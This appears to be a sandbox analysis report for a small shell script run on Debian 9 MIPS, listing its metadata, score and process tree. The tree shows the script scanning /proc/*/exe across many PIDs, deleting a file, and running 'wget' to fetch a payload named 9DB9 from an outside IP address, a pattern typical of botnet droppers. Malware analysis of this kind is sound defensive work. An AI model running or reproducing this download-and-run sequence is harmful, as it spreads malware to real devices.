Overview

overview

3

Static

static

1

_498e6f39a...9fc.sh

ubuntu-18.04-amd64

3

_498e6f39a...9fc.sh

debian-9-armhf

3

_498e6f39a...9fc.sh

debian-9-mips

3

_498e6f39a...9fc.sh

debian-9-mipsel

3

Analysis

  • max time kernel
    169s
  • max time network
    171s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20260513-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    22/06/2026, 20:59

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    _498e6f39a30ba7693903cc89b113f81acde73f2ce16e9ab9147018882d5ec9fc.sh
  • Size 835B
  • Sample260622-zs6tmsgx7x
  • SHA256 498e6f39a30ba7693903cc89b113f81acde73f2ce16e9ab9147018882d5ec9fc
  • MD5 SHA1 SHA512 TLSH
Score
3/10
discovery

Malware Config

Signatures

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery

Processes

  • /tmp/_498e6f39a30ba7693903cc89b113f81acde73f2ce16e9ab9147018882d5ec9fc.sh
    /tmp/_498e6f39a30ba7693903cc89b113f81acde73f2ce16e9ab9147018882d5ec9fc.sh
    1⤵
      PID:706
      • /bin/ls
        ls -l /proc/1/exe
        2⤵
        • Reads runtime system information
        PID:709
      • /bin/ls
        ls -l /proc/10/exe
        2⤵
        • Reads runtime system information
        PID:713
      • /bin/ls
        ls -l /proc/11/exe
        2⤵
        • Reads runtime system information
        PID:716
      • /bin/ls
        ls -l /proc/110/exe
        2⤵
        • Reads runtime system information
        PID:723
      • /bin/ls
        ls -l /proc/118/exe
        2⤵
        • Reads runtime system information
        PID:726
      • /bin/ls
        ls -l /proc/119/exe
        2⤵
        • Reads runtime system information
        PID:729
      • /bin/ls
        ls -l /proc/12/exe
        2⤵
        • Reads runtime system information
        PID:730
      • /bin/ls
        ls -l /proc/13/exe
        2⤵
        • Reads runtime system information
        PID:732
      • /bin/ls
        ls -l /proc/14/exe
        2⤵
        • Reads runtime system information
        PID:734
      • /bin/ls
        ls -l /proc/143/exe
        2⤵
        • Reads runtime system information
        PID:736
      • /bin/ls
        ls -l /proc/15/exe
        2⤵
        • Reads runtime system information
        PID:739
      • /bin/ls
        ls -l /proc/152/exe
        2⤵
        • Reads runtime system information
        PID:740
      • /bin/ls
        ls -l /proc/16/exe
        2⤵
        • Reads runtime system information
        PID:742
      • /bin/ls
        ls -l /proc/169/exe
        2⤵
        • Reads runtime system information
        PID:743
      • /bin/ls
        ls -l /proc/17/exe
        2⤵
        • Reads runtime system information
        PID:744
      • /bin/ls
        ls -l /proc/18/exe
        2⤵
        • Reads runtime system information
        PID:745
      • /bin/ls
        ls -l /proc/19/exe
        2⤵
        • Reads runtime system information
        PID:747
      • /bin/ls
        ls -l /proc/2/exe
        2⤵
        • Reads runtime system information
        PID:748
      • /bin/ls
        ls -l /proc/20/exe
        2⤵
        • Reads runtime system information
        PID:752
      • /bin/ls
        ls -l /proc/21/exe
        2⤵
        • Reads runtime system information
        PID:753
      • /bin/ls
        ls -l /proc/22/exe
        2⤵
        • Reads runtime system information
        PID:754
      • /bin/ls
        ls -l /proc/23/exe
        2⤵
        • Reads runtime system information
        PID:755
      • /bin/ls
        ls -l /proc/232/exe
        2⤵
        • Reads runtime system information
        PID:756
      • /bin/ls
        ls -l /proc/24/exe
        2⤵
        • Reads runtime system information
        PID:757
      • /bin/ls
        ls -l /proc/3/exe
        2⤵
        • Reads runtime system information
        PID:758
      • /bin/ls
        ls -l /proc/324/exe
        2⤵
        • Reads runtime system information
        PID:759
      • /bin/ls
        ls -l /proc/326/exe
        2⤵
        • Reads runtime system information
        PID:760
      • /bin/ls
        ls -l /proc/330/exe
        2⤵
        • Reads runtime system information
        PID:761
      • /bin/ls
        ls -l /proc/331/exe
        2⤵
        • Reads runtime system information
        PID:762
      • /bin/ls
        ls -l /proc/333/exe
        2⤵
        • Reads runtime system information
        PID:763
      • /bin/ls
        ls -l /proc/36/exe
        2⤵
        • Reads runtime system information
        PID:764
      • /bin/ls
        ls -l /proc/37/exe
        2⤵
        • Reads runtime system information
        PID:765
      • /bin/ls
        ls -l /proc/373/exe
        2⤵
        • Reads runtime system information
        PID:766
      • /bin/ls
        ls -l /proc/375/exe
        2⤵
        • Reads runtime system information
        PID:767
      • /bin/ls
        ls -l /proc/379/exe
        2⤵
        • Reads runtime system information
        PID:768
      • /bin/ls
        ls -l /proc/4/exe
        2⤵
        • Reads runtime system information
        PID:769
      • /bin/ls
        ls -l /proc/426/exe
        2⤵
        • Reads runtime system information
        PID:770
      • /bin/ls
        ls -l /proc/5/exe
        2⤵
        • Reads runtime system information
        PID:771
      • /bin/ls
        ls -l /proc/6/exe
        2⤵
        • Reads runtime system information
        PID:772
      • /bin/ls
        ls -l /proc/658/exe
        2⤵
        • Reads runtime system information
        PID:773
      • /bin/ls
        ls -l /proc/661/exe
        2⤵
        • Reads runtime system information
        PID:774
      • /bin/ls
        ls -l /proc/666/exe
        2⤵
        • Reads runtime system information
        PID:775
      • /bin/ls
        ls -l /proc/671/exe
        2⤵
          PID:776
        • /bin/ls
          ls -l /proc/672/exe
          2⤵
          • Reads runtime system information
          PID:777
        • /bin/ls
          ls -l /proc/68/exe
          2⤵
          • Reads runtime system information
          PID:778
        • /bin/ls
          ls -l /proc/69/exe
          2⤵
          • Reads runtime system information
          PID:779
        • /bin/ls
          ls -l /proc/695/exe
          2⤵
          • Reads runtime system information
          PID:780
        • /bin/ls
          ls -l /proc/696/exe
          2⤵
          • Reads runtime system information
          PID:781
        • /bin/ls
          ls -l /proc/7/exe
          2⤵
          • Reads runtime system information
          PID:782
        • /bin/ls
          ls -l /proc/70/exe
          2⤵
          • Reads runtime system information
          PID:783
        • /bin/ls
          ls -l /proc/701/exe
          2⤵
          • Reads runtime system information
          PID:784
        • /bin/ls
          ls -l /proc/703/exe
          2⤵
          • Reads runtime system information
          PID:785
        • /bin/ls
          ls -l /proc/704/exe
          2⤵
          • Reads runtime system information
          PID:786
        • /bin/ls
          ls -l /proc/706/exe
          2⤵
          • Reads runtime system information
          PID:787
        • /bin/ls
          ls -l /proc/707/exe
          2⤵
          • Reads runtime system information
          PID:788
        • /bin/ls
          ls -l /proc/73/exe
          2⤵
          • Reads runtime system information
          PID:789
        • /bin/ls
          ls -l /proc/74/exe
          2⤵
          • Reads runtime system information
          PID:790
        • /bin/ls
          ls -l /proc/75/exe
          2⤵
          • Reads runtime system information
          PID:791
        • /bin/ls
          ls -l /proc/76/exe
          2⤵
          • Reads runtime system information
          PID:792
        • /bin/ls
          ls -l /proc/77/exe
          2⤵
          • Reads runtime system information
          PID:793
        • /bin/ls
          ls -l /proc/79/exe
          2⤵
          • Reads runtime system information
          PID:794
        • /bin/ls
          ls -l /proc/8/exe
          2⤵
          • Reads runtime system information
          PID:795
        • /bin/ls
          ls -l /proc/81/exe
          2⤵
          • Reads runtime system information
          PID:796
        • /bin/ls
          ls -l /proc/82/exe
          2⤵
          • Reads runtime system information
          PID:797
        • /bin/ls
          ls -l /proc/9/exe
          2⤵
          • Reads runtime system information
          PID:798
        • /bin/rm
          rm -rf 9DB9
          2⤵
            PID:799
          • /usr/bin/wget
            wget http://129.121.114.124/9DB9
            2⤵
              PID:800

          Network

                MITRE ATT&CK Matrix

                Replay Monitor

                Loading Replay Monitor...

                Downloads